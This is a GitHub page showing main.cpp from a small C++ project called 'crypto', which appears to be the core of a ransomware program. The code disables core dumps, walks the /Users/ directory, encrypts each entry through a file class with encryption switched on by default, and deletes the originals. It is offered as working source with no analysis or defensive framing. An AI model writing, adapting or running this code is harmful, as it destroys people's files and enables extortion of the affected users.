-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.cpp
54 lines (42 loc) · 959 Bytes
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//
// main.cpp
// crypto
//
// Created by Giammarco René Casanova on 31/08/15.
// Copyright (c) 2015. All rights reserved.
//
#include "file.h"
#include <dirent.h>
#include <unistd.h>
void spc_limit_core();
#define ENCRYPT
int main()
{
spc_limit_core();
DIR *theFolder = opendir("/Users/");
struct dirent *next_file;
char filepath[256];
file f;
while ( (next_file = readdir(theFolder)) != NULL )
{
// build the path for each file in the folder
sprintf(filepath, "%s/%s", "/Users/", next_file->d_name);
#ifdef ENCRYPT
// encrypt file
f.set_name(filepath);
f.cryptfile();
#else
// decrypt file
f.set_name(filepath);
f.decryptfile();
#endif
// remove file
remove(filepath);
}
return 0;
}
void spc_limit_core() {
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
}